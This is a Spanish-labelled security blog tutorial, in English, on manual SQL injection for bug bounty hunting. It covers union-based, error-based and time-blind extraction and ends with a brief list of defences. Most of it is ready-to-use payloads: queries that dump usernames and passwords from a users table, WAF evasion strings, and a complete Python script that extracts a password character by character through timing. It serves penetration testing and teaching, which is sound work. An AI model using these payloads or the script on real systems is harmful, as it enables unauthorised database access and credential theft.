bug-bounty

SQL Injection Manual Avanzada

Técnicas Union, Error-based y Time-blind para exfiltrar datos sin herramientas automáticas.

Pentester
25 minutos
CVSS 9.8
Enero 2026

Manual SQL Injection: Beyond SQLMap

Automated tools like SQLMap are excellent for quickly finding vulnerabilities, but in competitive Bug Bounty environments or well-protected applications, you need advanced manual techniques that tools don't detect.

This guide covers three advanced manual exfiltration techniques:

  • Union-based SQLi: Combine queries to extract data directly
  • Error-based SQLi: Force verbose errors that leak information
  • Time-blind SQLi: Infer data through time delays

1. Union-based SQL Injection

The UNION technique allows combining results from two SELECT queries into a single response. It's the most direct way to exfiltrate data when the application displays results on screen.

Step 1: Detect the Number of Columns

Before using UNION, you need to know how many columns the original query returns:

Detect number of columns with ORDER BY
sql
-- Test with ORDER BY incrementing until it fails
https://target.com/products?id=1 ORDER BY 1--
https://target.com/products?id=1 ORDER BY 2--
https://target.com/products?id=1 ORDER BY 3--
https://target.com/products?id=1 ORDER BY 4--  ❌ Error = 3 columns

-- Alternative with UNION SELECT NULL
https://target.com/products?id=1 UNION SELECT NULL--  ❌ Error
https://target.com/products?id=1 UNION SELECT NULL,NULL--  ❌ Error
https://target.com/products?id=1 UNION SELECT NULL,NULL,NULL--  ✅ Works = 3 columns

Step 2: Identify Columns with Compatible Data Types

Not all columns accept strings. Identify which ones are compatible:

Test data types in each column
sql
-- Test each column with a string
https://target.com/products?id=1 UNION SELECT 'a',NULL,NULL--
https://target.com/products?id=1 UNION SELECT NULL,'a',NULL--
https://target.com/products?id=1 UNION SELECT NULL,NULL,'a'--  ✅ Works

-- If the column accepts strings, we can inject data there

Step 3: Exfiltrate Data of Interest

Extraction of sensitive data
sql
-- Get database version
' UNION SELECT NULL,NULL,@@version--

-- List all databases (MySQL)
' UNION SELECT NULL,NULL,schema_name FROM information_schema.schemata--

-- List tables from a database
' UNION SELECT NULL,NULL,table_name FROM information_schema.tables WHERE table_schema='target_db'--

-- List columns from a table
' UNION SELECT NULL,NULL,column_name FROM information_schema.columns WHERE table_name='users'--

-- Extract credentials
' UNION SELECT NULL,username,password FROM users--

-- Concatenate multiple columns into one (when only one column is visible)
' UNION SELECT NULL,NULL,CONCAT(username,':',password) FROM users--

WAF Evasion

If the WAF blocks UNION, try:
  • /*!UNION*/ (MySQL inline comments)
  • UnIoN (case mixing)
  • UNION/**/SELECT (spaces with comments)

2. Error-based SQL Injection

When the application doesn't show SELECT results but does display detailed SQL errors, we can force errors that leak information in the error message.

Technique: ExtractValue (MySQL)

Exfiltration through XML errors
sql
-- Extract MySQL version
' AND extractvalue(1,concat(0x7e,version()))--
-- Error: XPATH syntax error: '~5.7.33-0ubuntu0.18.04.1'

-- Extract current database name
' AND extractvalue(1,concat(0x7e,database()))--
-- Error: XPATH syntax error: '~target_db'

-- Extract first user
' AND extractvalue(1,concat(0x7e,(SELECT username FROM users LIMIT 1)))--
-- Error: XPATH syntax error: '~admin'

-- Extract admin password
' AND extractvalue(1,concat(0x7e,(SELECT password FROM users WHERE username='admin')))--
-- Error: XPATH syntax error: '~$2y$10$abcd1234....'

Technique: UpdateXML (Alternative)

Another XML function to force errors
sql
-- Same concept, different function
' AND updatexml(1,concat(0x7e,(SELECT @@version)),1)--

-- Extract all tables (limited by error length)
' AND updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())),1)--

Length Limitation

Error messages have character limits (~32 in MySQL). To exfiltrate long data:
  • Use SUBSTRING() to extract in chunks
  • Use LIMIT to iterate over rows

3. Time-blind SQL Injection

The stealthiest but slowest technique. When the application shows neither results nor errors, we can infer information through time delays.

Basic Concept

Infer data bit by bit through response time
sql
-- If condition is TRUE, delay 5 seconds
' AND IF(1=1, SLEEP(5), 0)--  ⏱️ Response in 5 seconds = TRUE
' AND IF(1=2, SLEEP(5), 0)--  ⏱️ Immediate response = FALSE

-- Verify if 'users' table exists
' AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0)--

-- Verify length of admin username
' AND IF((SELECT LENGTH(username) FROM users WHERE id=1)=5, SLEEP(5), 0)--

-- Extract first character of username (A=65 in ASCII)
' AND IF(ASCII(SUBSTRING((SELECT username FROM users WHERE id=1),1,1))=65, SLEEP(5), 0)--

Automation Script (Python)

exploit_time_blind.py
python
import requests
import time
import string

url = "https://target.com/search"
charset = string.ascii_lowercase + string.digits + "_"

def check_char(position, char):
    """Check if character at position matches"""
    payload = f"' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1),{position},1))={ord(char)}, SLEEP(3), 0)--"
    
    start = time.time()
    requests.get(url, params={"q": payload}, timeout=10)
    elapsed = time.time() - start
    
    return elapsed > 3  # If took more than 3 sec, char is correct

def extract_data(length=32):
    """Extract data character by character"""
    result = ""
    for i in range(1, length + 1):
        for char in charset:
            if check_char(i, char):
                result += char
                print(f"[+] Character {i}: {result}")
                break
    return result

# First detect length
# Then extract character by character
password = extract_data(32)
print(f"[!] Password extracted: {password}")

Time-blind Limitations

  • Very slow: Extracting 32 characters can take hours
  • Detectable by IDS: Thousands of requests with suspicious delays
  • Sensitive to network latency: False positives due to lag

Technique Comparison

TechniqueSpeedStealthRequirements
Union-based⚡ Very fast🔴 Very detectableVisible results on page
Error-based⚡ Fast🟡 ModerateVerbose SQL errors
Time-blind🐌 Very slow🟢 Less detectableNone (always works)

How to Defend

Best Practices

  • Prepared Statements: ALWAYS use parameterized queries (PDO, MySQLi, ORM)
  • Whitelist Validation: Validate inputs against allowed list, not blacklist
  • Least Privilege: Database user with minimal permissions (not DBA)
  • Generic errors: Never show detailed SQL errors in production
  • WAF: Web Application Firewall with anti-SQLi rules
Por Aitana Security Team